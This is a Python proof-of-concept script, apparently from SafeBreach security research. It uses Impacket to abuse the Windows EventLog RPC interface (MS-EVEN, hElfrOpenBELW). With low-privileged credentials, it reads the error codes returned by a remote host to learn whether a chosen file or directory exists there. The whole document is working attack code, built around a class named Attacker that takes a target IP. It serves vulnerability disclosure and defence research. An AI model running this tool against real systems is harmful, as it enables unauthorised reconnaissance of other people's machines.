""" @Author: Yarin A. @Company: SafeBreach @Description: This script is using the CreateFile primitive given by MS-EVEN, in order to check the status of remote file using low-privileged user. """ import enum import argparse from impacket.dcerpc.v5 import even from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.dcerpc.v5.even import DCERPCSessionError class EventLogErrorCodes(enum.Enum): FILE_DOES_NOT_EXIST = 0xc0000034 FILE_EXISTS_AND_IS_DIRECTORY = 0xc00000ba FILE_EXISTS = 0xc000018e class Attacker: LOG_MSG_TEMPLATE = r'[+] - {message}' EVENT_LOG_NCACN = r'ncacn_np:{ip}[\pipe\eventlog]' RPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5 def __init__(self, ip, username, password): self.connection = DCERPCTransportFactory(self.EVENT_LOG_NCACN.format(ip=ip)) self.connection.set_credentials(username, password) self.connection.connect() self.dce = self.connection.get_dce_rpc() self.dce.set_auth_level(self.RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) self.dce.connect() self.dce.bind(even.MSRPC_UUID_EVEN) def create_rpc_unicode_string(self, regular_string): # There seems to be a bug in Impacket or in the EventLog service itsef. # For some resason we need to add another null-terminator to the unicode string. crafted_unicode_string = RPC_UNICODE_STRING() crafted_unicode_string['Data'] = regular_string crafted_unicode_string.fields['MaximumLength'] += 1 return crafted_unicode_string def check_if_file_exists(self, filepath_to_check, is_windows_10=False): if is_windows_10: filepath_to_check = filepath_to_check.replace("C:\\", "\\") unicode_filepath_to_check = self.create_rpc_unicode_string(filepath_to_check.rstrip('\\')) try: even.hElfrOpenBELW(self.dce, unicode_filepath_to_check) except DCERPCSessionError as e: if e.error_code in [e.value for e in EventLogErrorCodes]: print(EventLogErrorCodes(e.get_error_code()).name) else: raise e def close_connection(self): self.dce.disconnect() def log(self, message): print(self.LOG_MSG_TEMPLATE.format(message=message)) def main(): parser = argparse.ArgumentParser() parser.add_argument('ip_to_attack') parser.add_argument('username') parser.add_argument('password') parser.add_argument('filepath_to_check') parser.add_argument( "--is_windows_10", action="store_true", help="Enable verbose output" ) args = parser.parse_args() attacker = Attacker(args.ip_to_attack, username=args.username, password=args.password) attacker.check_if_file_exists(args.filepath_to_check, is_windows_10=args.is_windows_10) attacker.close_connection() if __name__ == '__main__': main()